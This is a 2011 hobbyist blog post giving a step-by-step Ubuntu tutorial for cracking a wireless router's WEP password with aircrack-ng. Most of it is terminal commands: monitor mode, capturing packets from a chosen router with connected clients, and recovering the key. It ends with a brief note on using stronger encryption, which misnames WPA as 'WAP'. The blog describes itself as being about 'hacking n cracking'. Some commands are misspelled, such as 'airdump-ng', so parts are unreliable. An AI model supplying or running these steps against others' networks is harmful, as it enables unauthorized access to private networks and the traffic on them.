Welcome to my site. Please CLICK HERE to give your opinions regarding this new look of "PCTipsbyAnu". Thanks for visiting.

Saturday, March 26, 2011

How to Hack Wireless Router using Ubuntu?


First we need to install the necessary Ubuntu packages. This can be done with the Synaptic Package Manager (search for aircrack-ng and kismet) or using the Terminal.


$sudo apt-get install aircrack-ng
$sudo apt-get install kismet

Let's start by testing the wireless card:
$sudo airmon-ng stop ath0
$sudo airmon-ng start wifi0
 
Let's see all available wireless networks. Let's choose a wireless network with a good signal quality and with clients connected to it. Keep in mind the channel id (i.e. 6 or 11) and the router Mac Address.
$sudo airodump-ng mon0

Next step is to intercept data/packages we will need a bunch of IV's logged so we can decrypt the password later. 
Usually 250k or 500k are enough, sometimes the aircrack after failing deciphering the password will ask for 5.000 to 10.000 IV's. 
Let's start logging using the following command (6 stands for channel id and 00:MA:CA:DD:RE:SS for the router mac address.
$sudo airdump-ng -c 6 --bssid 00:MA:CA:DD:RE:SS -w dump mon0

The final step, run this command to decipher the password.
$sudo aircrack-ng -a 1 -f 10 dump*.cap
 
The result shoud be:
KEY FOUND! **:**:**:**:** ASCII: ******
Decrypted correctly: 100%
 
If you get:
Failed. Next try with 5.000 IV's or .... Failed. Next try with 10.000
Then just collect more packages with 
$sudo airdump-ng -c 6 --bssid 00:MA:CA:DD:RE:SS -w dump mon0 
 
SOLUTION:
THERE is no safe way or 100% effective method of protecting a wireless network. The best recommendation is to avoid at all cost WEP keys and implement a WAP encryption.
Avoid WAP using only pre-shared key, they are also known to be exploited. Instead try to implement WAPv2, the key will change dynamically and the encryption is stronger...


Thanks...
You can leave a response, or trackback from your own site.

About 'Anu': My name is 'Anu' also Known as 'ANU 007 TIGER' .I'm administrator of 'PC Tips by Anu' blog .This blog was opened for sharing contents about hacking n cracking.
Thanks YAHOO OR GMAIL

0 comments:

Post a Comment

 
Back to Top